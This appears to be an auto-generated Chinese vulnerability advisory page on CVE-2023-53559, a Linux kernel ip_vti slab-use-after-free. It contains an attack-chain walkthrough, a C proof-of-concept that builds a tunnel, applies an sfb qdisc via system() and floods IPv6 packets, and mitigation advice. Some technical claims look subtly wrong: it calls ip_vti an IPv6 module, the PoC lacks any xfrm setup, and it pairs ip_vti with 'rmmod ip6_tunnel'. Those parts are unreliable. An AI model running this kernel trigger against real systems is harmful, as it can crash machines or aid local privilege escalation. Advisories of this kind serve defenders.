IPBUF安全漏洞报告
English
CVE-2023-53559 CVSS 7.8 高危

CVE-2023-53559 Linux内核ip_vti模块slab-use-after-free漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53559
漏洞类型
Use-After-Free(释放后使用)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelip_vtiUse-After-Freeslab-use-after-free内核漏洞IPv6本地提权xfrmqdiscsfb

漏洞概述

CVE-2023-53559是Linux内核ip_vti(IPv6虚拟隧道接口)模块中存在的一个高危slab-use-after-free(释放后使用)漏洞。该漏洞的CVSS 3.1评分为7.8分,严重等级为HIGH。当ip_vti设备被设置为sfb(Stochastic Fair Blue)类型的qdisc(排队规则)时,在数据包入队过程中,发送的skb(socket buffer)的cb(control buffer)字段可能会被修改。由于ip_vti设备在发送IPv6数据包时调用了xfrm_decode_session函数来解析会话信息,而该函数会访问IP6CB(skb)->nhoff字段,但该字段在传输路径上并未被正确初始化,从而导致slab-use-after-free漏洞的发生。此漏洞允许具有低权限的本地攻击者通过特定操作触发内核内存的非法访问,可能导致系统崩溃、内核信息泄露,甚至权限提升。漏洞的利用需要本地访问权限和低权限认证,但无需用户交互,成功利用后会对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根本原因在于ip_vti模块在发送IPv6数据包时未正确处理skb的cb(control buffer)字段。具体技术细节如下:

1. ip_vti是Linux内核中用于实现IPv6虚拟隧道接口的模块,通过xfrm(IPsec变换框架)实现加密通信。

2. 当ip_vti设备配置为sfb(Stochastic Fair Blue)类型的qdisc时,数据包在入队过程中会被sfb调度器修改其cb字段的内容。

3. 随后,当ip_vti设备发送IPv6数据包时,会调用xfrm_decode_session函数来解码会话信息,该函数会读取IP6CB(skb)->nhoff字段。

4. 问题在于xfrm_decode_session函数最初仅为接收路径(receive path)设计,在传输路径上IP6CB(skb)->nhoff字段并未被正确设置。如果该字段指向的内存已被释放或被sfb调度器修改为无效值,就会触发slab-use-after-free漏洞。

5. 修复方案是在发送数据包之前将skb的cb字段清零,避免使用未初始化的或已被修改的cb数据。

该漏洞的利用需要本地访问权限,攻击者可以通过创建ip_vti隧道接口、配置sfb qdisc,然后发送特制的IPv6数据包来触发漏洞。成功利用可能导致内核panic(系统崩溃)、敏感信息泄露或权限提升。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有目标Linux系统的本地访问权限,并具备创建网络接口和配置tc qdisc的低权限(通常需要CAP_NET_ADMIN权限或root权限)。
STEP 2
步骤2:创建ip_vti隧道接口
使用ip tunnel命令或ioctl系统调用创建ip6_vti0虚拟隧道接口,并配置本地和远程IPv6地址。
STEP 3
步骤3:配置sfb qdisc
通过tc qdisc命令将sfb(Stochastic Fair Blue)排队规则应用到ip6_vti0接口上,sfb调度器会在数据包入队时修改skb的cb字段。
STEP 4
步骤4:发送IPv6数据包
通过创建的ip_vti隧道接口发送IPv6数据包,触发xfrm_decode_session函数访问未初始化的IP6CB(skb)->nhoff字段。
STEP 5
步骤5:触发slab-use-after-free
由于cb字段已被sfb调度器修改或指向已释放的内存,xfrm_decode_session访问该字段时触发slab-use-after-free漏洞,可能导致内核panic或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53559 PoC - Linux Kernel ip_vti slab-use-after-free // Trigger: Create ip_vti tunnel with sfb qdisc and send IPv6 packets #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/ip6_tunnel.h> #include <sys/ioctl.h> #include <arpa/inet.h> #include <fcntl.h> int main(int argc, char *argv[]) { int fd, tunnel_fd; struct ifreq ifr; struct ip6_tnl_parm2 p; // Step 1: Create an ip_vti6 tunnel device fd = socket(AF_INET6, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return 1; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "ip6_vti0", IFNAMSIZ - 1); memset(&p, 0, sizeof(p)); p.proto = IPPROTO_IPV6; // Configure tunnel parameters (local/remote addresses) inet_pton(AF_INET6, "fd00::1", &p.laddr); inet_pton(AF_INET6, "fd00::2", &p.raddr); ifr.ifr_ifru.ifru_data = (void *)&p; if (ioctl(fd, SIOCADDTUNNEL, &ifr) < 0) { perror("ioctl SIOCADDTUNNEL"); // Tunnel might already exist, try to use existing one } // Step 2: Set sfb qdisc on the tunnel device to trigger cb modification char cmd[256]; snprintf(cmd, sizeof(cmd), "tc qdisc add dev ip6_vti0 root sfb"); if (system(cmd) != 0) { fprintf(stderr, "Failed to set sfb qdisc\n"); } // Step 3: Send IPv6 packets through the tunnel to trigger UAF tunnel_fd = socket(AF_INET6, SOCK_DGRAM, 0); if (tunnel_fd < 0) { perror("socket tunnel"); return 1; } struct sockaddr_in6 dst; memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; inet_pton(AF_INET6, "fd00::2", &dst.sin6_addr); // Send multiple packets to trigger the slab-use-after-free for (int i = 0; i < 1000; i++) { char payload[64]; memset(payload, 'A' + (i % 26), sizeof(payload)); if (sendto(tunnel_fd, payload, sizeof(payload), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) { perror("sendto"); } } printf("PoC executed - check kernel logs for slab-use-after-free\n"); close(tunnel_fd); close(fd); return 0; }

影响范围

Linux Kernel < 6.6(包含受影响的ip_vti模块版本)
Linux Kernel 6.6.x(受commit 0b4d69539fdea138af2befe08893850c89248068修复前的版本)
Linux Kernel 6.1.x(受commit 2b05bf5dc437f7891dd409a3eaf5058459391c7a修复前的版本)
Linux Kernel 5.15.x(受commit 6018a266279b1a75143c7c0804dd08a5fc4c3e0b修复前的版本)
Linux Kernel 5.10.x(受commit 78e397a43e1c47321a4679cc49a6c4530bf820b9修复前的版本)
Linux Kernel 5.4.x(受commit 7dfe23659f3677c08a60a0056cda2d91a79c15ca修复前的版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)禁用ip_vti模块(rmmod ip6_tunnel)如果业务不依赖该功能;2)避免在ip_vti接口上使用sfb qdisc,改用其他qdisc类型(如fq、pfifo等);3)通过iptables/nftables限制非特权用户访问ip_vti隧道接口;4)监控系统日志,关注内核oops或panic信息,及时发现潜在攻击行为;5)最小化授予用户的CAP_NET_ADMIN权限,限制其创建网络接口和配置qdisc的能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表